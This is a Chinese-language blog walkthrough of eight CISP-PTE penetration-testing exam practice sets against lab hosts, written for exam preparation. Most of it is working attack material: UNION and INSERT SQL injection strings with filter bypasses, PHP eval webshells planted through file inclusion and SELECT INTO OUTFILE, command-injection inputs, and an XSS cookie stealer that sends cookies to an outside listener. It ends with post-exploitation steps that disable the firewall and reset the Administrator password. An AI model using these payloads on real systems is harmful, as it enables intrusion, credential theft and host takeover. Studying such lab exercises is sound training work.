CISP-PTE八套真题详解(侵删)

前言

最近考cisp-pte ,把八套真题详细做了一遍,侵权的话请联系删除!!!

第一套题目:

34071-34075

第二套题目:

34041-34045

第三套题目:

34031-34035

第四套题目:

34021-34025 34214

第五套题目:

34011-34015

第六套题目:

34051 34061 34213 34223 34224 34234

第一套综合题:

11.1.10.81-86

第二套综合题:

11.1.10.71-76

第一套题目

34071-34075

sql注入

11.1.10.11:34071

点击开始答题,有一篇文章,文章末尾有代码

根据代码,我们猜测是要对uuid这个参数进行注入,并且过滤了#和--两种注释的方法

方法一:sqlmap一把梭,一步一步注入出key1

方法二:手注

由于两种注释方法被过滤了,根据给出的代码,我们尝试使用单引号将最后的单引号进行闭合

尝试 order by '9999

发现页面回显正常,说明order by并没有生效

所以我们跳过order by 直接尝试进行union select

发现页面显示无数据,说明union select被执行了,接下来我们手动判断有几个字段

当输入到6的时候,页面返回正常,并且发现两个回显点为 2 和 3

我们开始查询数据

bash 复制代码
查询数据库
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',database(),'3','4','5','6
bash 复制代码
查询表(我这里直接使用了火狐的插件进行构造sql语句,很方便)
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x32776562),'3','4','5','6
bash 复制代码
查询列
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x49535f4b4559),'3','4','5','6
bash 复制代码
查询数据
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(haha+SEPARATOR+0x3c62723e)+FROM+2web.IS_KEY),'3','4','5','6

文件上传

直接先上传一个图片马试试

发现上传失败,猜测可能是对内容做了限制,找一个免杀马试试

上传成功,执行一个phpinfo(); 试试

执行成功,说明生效了,直接使用蚁剑连接,找到key

文件包含


我们发现url中输入了hello ,页面请求到的是hello.txt ,说明后端会给page中的参数强制加上一个.txt

面对这种情况,我们尝试使用data协议进行写一个phpinfo试试看能否执行

bash 复制代码
page=data://text/plan,<?php phpinfo(); ?>

发现data://没了,phpinfo代码也没了,查看源代码,发现phpinfo代码还在,只是没有被执行

我们猜测data://是被替换为空,我们进行双写尝试绕过

bash 复制代码
page=datdata://a://text/plan,<?php phpinfo(); ?>

成功执行,然后把phpinfo改为一句话木马,使用菜刀连接

在上层目录发现key

反序列化漏洞


打开题目,发现一段php代码,说明考察代码审计

unserialize是PHP的反序列化函数,根据代码含义,我们需要get提交一个str变量,反序列化后等于temp这段字符串

所以我们只需要知道temp这段字符串序列化之后的内容即可

我们手写一个php文件,就可以得到序列化之后的内容了:

php 复制代码
<?php
$TEMP = "Whatever is worth doing is worth doing well.";
echo serialize($TEMP)
?>

由于我们考试过程中没有自己的php环境,所以我们在蚁剑中对上一题的目录写入一个php文件,再访问一下:

成功得到序列化之后的内容

使用get方式提交str参数,成功得到key

bash 复制代码
http://11.1.10.11:34074/start/index.php?str=s:44:"Whatever is worth doing is worth doing well.";

失效的访问控制


访问题目,发现只允许本地访问,直接想到XFF使用IP欺骗

bash 复制代码
X-Forwarded-For: 127.0.0.1

使用burp抓包,添加xff内容:

放包发现页面显示当前用户为guest,没有权限查看key

然后查看之前的数据包,cookie中存在Username参数,使用base64解码后发现正是Guest,于是我们只需要修改这个Username的值,并且将IsAdmin改为true,应该就可以实现越权了

修改数据包后,成功得到key5:

第二套题目

34041-34045

sql注入

根据题目,答案在 /tmp/360/key 中

进入题目环境,很明显,我们要注入id,并且害给出了当前执行的sql语句

根据给出的sql语句,我们使用 ') 进行闭合,页面无回显内容

使用#进行注释,发现#被过滤了,使用#的url编码%23试试,页面回显正常

使用order by进行查询字段数,发现空格被过滤了,使用/**/代替空格,到5的时候没有回显,说明有4个字段

进行union select查询回显点

发现union被过滤了,尝试大小写绕过和双写绕过

发现使用双写可以成功绕过,234均为回显点

我们使用load_file() 直接读取/tmp/360/key

bash 复制代码
load_file('/tmp/360/key')

文件上传


上传一个图片马试试,发现上传成功

在burp中改图片马后缀为.pht

发现上传成功,直接使用蚁剑连接找key

文件包含


文件包含的几种方式挨个尝试吧

直接包含,失败

绝对路径,失败

目录穿越,失败

远程包含,失败

data协议写shell,使用蚁剑连接成功

php 复制代码
http://11.1.10.11:34043/vulnerabilities/fu1.php?file=data://text/plan,<?php eval($_POST[pass]);?>

或者使用phpfilter查看源码

bash 复制代码
file=php://filter/read=convert.base64-encode/resource=../key.php

命令执行


127.0.0.1|cat .../key.php

发现cat命令被过滤,问题不大,学了十来种读文件命令了

使用sed直接成功(这个比较好记,哈哈)

bash 复制代码
127.0.0.1|sed ' ' ../key.php

查看源代码发现key

日志分析

将日志放到自己新建的txt中,使用notepad++进行筛选内容,直接找出所有含有200的行

然后再翻一下,发现了好几个路径,一眼看到存在admin的登录路径

访问后成功进入admin的登录页面,我们尝试进行爆破

成功跑出密码

登录成功后获得key

(也可以使用正则表达式做这个题,下一个日志分析就使用了正则)

第三套题目

34031-34035

SQL注入


有注册用户功能,那我们俩先注册个用户进去看看

有个重置密码的功能点

我们通过注册正常的用户名和测试注入的用户名进行比较

比较发现注入点存在重置密码的地方,但存在注入的参数是用户名,也就是说注入点和回显点不一样

根据重置密码的sql语句进行构造

我们想要重置admin的密码,只需要注册一个admin'# 即可

username = ' admin'#'

井号会将后面的单引号注释,成功修改admin的密码

文件上传

上传图片马失败,猜测对内容做了过滤,将图片马中的一句话木马改为免杀马,上传成功

修改后缀为.pht ,上传成功

但是访问时发现没有被当成php执行

修改后缀为php,上传成功,并且成功解析了

(我还以为会过滤php的,没想到没过滤)

蚁剑连接发现key

文件包含


尝试了本地包含、目录穿越、远程包含、data协议等多种方法后还是没出来

直接访问一下view.html 看看有没有什么别的东西

查看源代码,果然有东西

接下来就是代码审计了

isset()函数用于检测变量是否已设置并且非 NULL

代码中base64解码出来是一个base64的一句话木马

php 复制代码
[@eval(base64_decode($_POST[z0]));]

根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令

先用phpinfo(); 试一下:

发现执行成功

那么直接写个查看key文件的系统命令(记得最后要加分号)

system('cat .../key.php');

在源代码中找到key

代码审计


既然是代码审计,那就直接看代码

如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令

但要注意,exec只会执行命令,不会返回结果

对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试

php 复制代码
http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html

直接发现key

命令执行


127.0.0.1|ls 失败

127.0.0.1| 失败

看来是直接把管道符给过滤了

我们尝试使用 &&

127.0.0.1 && ls 失败

难道&&也过滤了?

127.0.0.1 && 没有显示失败

说明 && 没有被过滤,是ls被过滤了

127.0.0.1 && pwd 成功

最后发现是过滤了php ,太坑了

使用星号进行匹配,成功得到key

127.0.0.1 && sed ' ' .../key.ph*

第四套题目

34021-34025 34214

SQL注入

和第三套题差不多,只不过将admin'# 给注册了,我们在#后面随便加点字符串就行了

注册一个admin'#123 登录后修改的密码就是admin的密码

文件上传

和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接

文件包含

和上套题一样的

直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令

php 复制代码
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

日志分析

日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选

(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)

php 复制代码
^.*"[A-Z]+ /.*\.php.*" 200

匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉

?!index 表示不匹配index

php 复制代码
^.*"[A-Z]+ /(?!(index|manage|footer|upload)).*\.php.*" 200

匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉

/? 表示/可能有可能没有

php 复制代码
^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200

正则筛选后就只剩下四条了

我们一眼看到/admin/backdoor.php 的路径,很可疑,访问一下,获得key

命令执行

php 复制代码
127.0.0.1|sed ' ' ../key.php

成功获得key

代码审计

34214

对代码进行分析:

php 复制代码
<?php
$v1 = 0;
$v2 = 0;

//使用get方法传递一个名为w的参数
//这个参数的内容是一个json格式的数组
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {

    //这个数组有一个名为bar1的元素
	//这个bar1的元素的内容,不能是数字
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
	
	//这个bar1的元素的内容,不能是0、空、false
    if (@$a["bar1"]) {
		
		//这个bar1的元素的内容,要大于2020
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
	
	"bar1":"8023x"
	
	//bar2元素的内容是一个数组
    if (is_array(@$a["bar2"])) {
	
		//Bar2元素数组内容的个数是5
		//bar2元素数组中第0个元素是数组
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
		
		"bar2":[[0],1,2,3,4]
		
		//bar3元素也是一个数组
        $pos = array_search("cisp-pte", $a["bar3"]);
		
		//bar3元素里一定有一个cisp-pte的元素
        $pos === false ? die("nope") : NULL;
		
		"bar3":["cisp-pte"]
		
		//bar2数组种不能有元素的内容是cisp-pte
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}

//v1和v2都为真(非0、非空、非false)时,输出本题答案
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);

//构造的json数据如下:
{"bar1":"8023x","bar2":[[0],1,2,3,4],"bar3":["cisp-pte"]}

第五套题目

sql注入:我是差不多先生

11.1.10.11:34011

发现注册功能,注册一个test账号,进入后发现可以发表文章,在发表文章处使用多种闭合字符进行测试:

发现发布失败,使用title进行测试,依然失败,说明两个输入点多半都是注入点

使用burp进行抓包,

尝试构造一下sql语句,猜测sql语句为:

php 复制代码
insert into aritcles(title,content) values('tit','con')

由于不同用户提交的文章是相互独立的,所以很可能有个user参数

php 复制代码
insert into aritcles(title,content,user) values('tit','con','test')

这说明sql语句至少有这三个参数,可能会更多

在火狐浏览器中尝试使用 ')# 进行闭合

失败了,根据之前构造的sql语句,判断可能是由于参数不够导致列数不一致。

(因为#会将后面的内容注释掉,如果content参数后面还有参数就会被注释,导致列数不一致)

于是我们在content参数后面加上一个空值试试,发现成功了,说明content后面还有一个参数

虽然上面提交成功了,但是文章页面并没有我们发布的文章,说明最后一个字段可能是user字段,用来判断文章是谁发布的。

我们将之前加的空字段改为自己的用户名test1:

查看文章页面,发现文章发表成功了,说明我们的猜测是正确的,并且确定了sql语句中最后一个字段一定是用户名的,倒数第二个字段一定是content

为了判断倒数第三个字段是不是title,我们可以在title处进行构造闭合,看结果是否成功

php 复制代码
title=123','123','test')#&content=test

文章发布成功,说明title确定为倒数第三个参数。

开始注入:

在content处使用database()进行查询数据库名

php 复制代码
title=123',(database()),'test')#&content=test

查询出当前数据库名为 2web

然后使用sql查询语句查询表名

php 复制代码
select group_concat(table_name) from information_schema.tables where table_schema='2web'
php 复制代码
title=123',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'test')#&content=test

执行后发现失败了,可能存在一些过滤规则

使用大小写绕过和/**/绕过空格进行尝试

SElect/**/group_concat(table_name)/**/FRom/**/information_schema.tables/**/WHere/**/table_schema='2web'

绕过后发布成功,在文章处查看结果

查询出了三个表,根据题目所说,key是admin的密码,所以我们应该进一步查询users1表的内容,继续构造sql查询语句:

SElect/**/group_concat(column_name)/**/FRom/**/information_schema.columns/**/WHere/**/table_name='users1'

成功查询出两个列名,接下来我们直接查询password中admin所对应的值就行

SElect/**/group_concat(password)/**/FRom/**/users1/**/WHere/**/username='admin'

成功

扩展一下:如果#等注释字符被过滤的话该怎么办?

insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (' 进行闭合

php 复制代码
title=123','123','test'),('&content=test

发现失败了,失败的原因是什么呢?

我们之前使用的注释,只需要考虑从后往前的参数,不用考虑title前面有没有参数,现在注释不了了,就要考虑title前面是不是还有参数,我们假设title前面还有一个参数,我们在后面的括号中构造一个空值:

php 复制代码
title=123','123','test'),(' ','&content=test

发现成功了,说明title之前确实还有一个参数,一共有四个参数。

sql语句应为:

bash 复制代码
insert into aritcles(xxx,title,content,user) values('x','title1','content1','user'),('x','title2','content2','user')

相当于一次发表两个文章,我们在title处填写

bash 复制代码
title1','content1','user'),('x','title2

相当于post提交:

bash 复制代码
title=title1','content1','test'),('x','title2&content=content2


成功发布了两篇文章。而且没有使用注释符号。

使用火狐中的插件更加方便,可以直接生成查询的payload:

(注意:使用post提交数据时,要将生成的payload中的+给换成空格)

文件上传

11.1.10.11:34012

上传正常一句话木马的图片马,发现上传失败

猜测可能对内容进行检测了

换一个免杀马,发现上传成功

后缀改为.pht 上传成功

尝试执行phpinfo(); ,成功!

使用蚁剑进行连接,在html目录下发现key.php,得到key

或者使用命令直接查询key.php文件

先ls看下key.php在哪个目录

查看源代码,发现key2

文件包含

url为:http://11.1.10.11:34013/vulnerabilities/fu1.php?file=view.html

因为包含了view.html ,我们直接访问这个html文件:

http://11.1.10.11:34013/vulnerabilities/view.html![在这里插入图片描述](https://file.jishuzhan.net/article/1730962848529518593/c2df8669a330e1c632807843348eff06.webp)

查看源代码:

将base64内容放入txt中,使用notepad++进行解码

[@eval(base64_decode($_POST[z0]));]

接下来就是代码审计了

使用post方式提交一个Hello参数的值并赋给a

isset()函数用于检测变量是否已设置并且非 NULL

使用if判断a是否为空,不为空就执行下面的

preg_replace 函数,执行一个正则表达式的搜索和替换,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行

所以通过z0可以执行命令,z0的值需要使用base编码

注意:提交参数时需要再一开始的题目页面进行提交

bash 复制代码
Hello=1&z0=system('cat ../key.php');
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

查看元素,发现key3

命令执行

127.0.0.1| sed '' .../key.php 或者

127.0.0.1| grep '' .../key.php

(注意sed和grep后面是两个单引号,不能用双引号)

验证码爆破

删除验证码和cookie,直接爆破即可

使用密码登录后获得key5

第六套题目

34051 34061 34213 34223 34224 34234

sql注入

这题考察万能密码,使用

php 复制代码
admin '='  

成功登录,获得key

或者在密码处使用

php 复制代码
'Or '1'='1

使用这个万能密码可以绕过用户名,不管用户名是不是admin都可以登录成功

原理如下:

sql注入

还是sql注入

根据sql语句提示,使用')进行闭合,#被过滤了,使用--+进行注释

order by查询字段,发现有7个字段

union select 查询字段回显,发现union没了

使用双写绕过成功

使用load_file()查看key

XSS漏洞

做题思路是写个xss代码获取admin的cookie

php 复制代码
<script>document.write('<img src="http://11.1.12.132:8023?' + document.cookie + '" />');</script>

nc开启监听:

php 复制代码
nc -l -p 8023

看到PhantomJS就说明获取到了admin的key(仅限考试中作为参考)

使用火狐中的插件修改cookie

修改后访问admin页面,成功获得key

文件包含

34223

我们发现page后面的参数是hell,下面输出的是hello.txt,我们将page改为hello.txt试试

发现下面变成了hello.txt.txt,这说明系统会强制给page的参数最后加上.txt

这种情况我们尝试使用data协议进行绕过

phpinfo改成一句话木马:

php 复制代码
http://11.1.10.11:34223/start/index.php?page=data://text/plan,<?php @eval($_POST["x"]);?>

蚁剑连接

或者使用远程包含也行

XSS漏洞


还是这段代码,需要背会!!!

php 复制代码
<script>document.write('<img src="http://11.1.12.132:6789/?' + document.cookie + '"/>');</script>

代码审计


strtolower用于将字符串转换为小写字母

我们构造出语句进行闭合:

php 复制代码
$o=strtolower("                ");
                ");system("ls

我们发现ls被成功执行了

然后就是查看key4.php

php 复制代码
$o=strtolower("                         ");
                ");system("cat key4.php

综合题一

11.1.10.81-86

使用nmap进行扫描端口

nmap -p 1-65535 -T4 -A -v -Pn 11.1.10.81

扫描到了125端口

访问url,发现弹出一个窗口,说username is admin

我们尝试进行爆破密码

使用burp进行抓包

这段base64就是用户名密码的地方,我们进行解码

发现了格式为用户名冒号密码

然后我们进行爆破

使用自定义payload ,Custom iterator

第一个字段输入admin,下面的分隔填写分号

第二个字段选择我们的密码字典,不用填分隔符

添加base64编码

开始攻击,成功爆破出密码

使用密码进行登录,发现一个系统

查看源码看看有没有什么内容

发现注释里说这是静态页面,我们当然要试试才能相信,使用burp尝试抓登录的包,确实没有抓到数据包,说明这确实是静态页面

那么我们使用burp进行目录扫描,注意直接使用工具进行扫描没有我们的登录信息,所以扫描不到

选择这三个字典,并将url编码取消

扫出了三个200的状态码,我们在robots.txt中发现了key6

接下来我们去看看另外两个路径

/news/ 是一个留言系统

/images/ 就是几张图片,看来突破口就在留言系统上

我们先继续对/news/路径进行目录和文件的扫描

发现/phpmyadmin/路径,访问一下看看

发现没有设置密码,直接访问成功了

这里我们想要登录进这个系统有两种方法:

1.进行爆破密码

2.在phpmyadmin中直接修改admin用户的密码

这里我们都尝试一下:

1.进行爆破密码

虽然有验证码,但我们可以通过删除验证码和cookie的方式进行绕过验证码,成功爆破出admin的密码是admin

2.在phpmyadmin中直接修改admin用户的密码

通过在phpmyadmin中查找,找到了admin密码所在

看着应该是md5加密,注意 ,在考试中有以下几种加密方式,一个一个试就行:

md5 md5(md5) sha1 sha1(sha1)

像这个密码,我们使用md5爆破工具爆破不出来,一个不是单纯的md5

我们猜测是两次md5

我们在修改数据之前,一定要记得先把原来的数据在txt中保存一下,防止环境出问题了还原不了

我们将现在的密码保存一下,然后再进行修改

我这里将密码改为123456,然后进行两次md5编码

然后我们在系统登录页面使用修改后的密码进行登录

admin 123456

登录成功,并且发现了系统路径,先记着,之后可能会用上

接下来我们要想办法获取shell

我们现在可以访问phpmyadmin,还知道系统路径,所以我们采用sql语句写shell的方式写一个shell上去

php 复制代码
SELECT '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php'

使用蚁剑进行连接:

发现连接失败,突然想起来这个url是需要认证的,所以需要我们在蚁剑添加认证的参数:

连接成功,在目录中发现key7

最后一个key在桌面,所以需要我们进行远程桌面连接。

有三个条件:

1.开启3389端口

2.关闭防火墙

3.知道Administrator用户密码

开启端口我们可以使用工具中开启3389的bat脚本进行开启,将3389.bat通过蚁剑上传上去,使用终端进行运行

关闭防火墙我们使用蚁剑开启终端敲命令关闭即可

php 复制代码
netsh firewall set opmode disable

在终端使用net命令修改密码

php 复制代码
net user Administrator Xx1234..

然后使用远程桌面

php 复制代码
mstsc

成功登录,在回收站的名字发现key8

综合题二

11.1.10.71-76

还是先扫描端口

我们选择扫描11.1.10.73

发现只扫描出了80端口,那我们直接访问,发现需要登录认证

这里和综合题一的方法一样,使用burp爆破

进入后直接发现key6

然后这还是一个登录的页面,我们依然使用burp进行爆破

进入后发现存在图片上传的地方,那么直接尝试进行上传shell

上传shell1.php

使用phpinfo测试成功

使用蚁剑进行连接,记得添加认证信息

连接后在www目录下找到key7

最后一个key在桌面,于是我们重复之前的操作

1.开始3389

2.关闭防火墙

3.修改Administrator密码

使用远程桌面连接

php 复制代码
mstsc

在回收站中发现key8

相关推荐
luck_0071 小时前
PhpSpreadsheet 导出excel 找不到setCellValueByColumnAndRow
php
生椰拿铁You1 小时前
解决Apache/2.4.39 (Win64) PHP/7.2.18 Server at localhost Port 80问题
php
H轨迹H2 小时前
SolidState靶机通关教程及提权
网络安全·渗透测试·靶机·oscp
火星机器人life2 小时前
基于ceres优化的3d激光雷达开源算法
算法·3d
虽千万人 吾往矣2 小时前
golang LeetCode 热题 100(动态规划)-更新中
算法·leetcode·动态规划
D1TAsec3 小时前
Powercat 无文件落地执行技巧,你确定不进来看看?
网络安全
arnold663 小时前
华为OD E卷(100分)34-转盘寿司
算法·华为od
ZZTC3 小时前
Floyd算法及其扩展应用
算法
文大。4 小时前
2024年广西职工职业技能大赛-Spring
java·spring·网络安全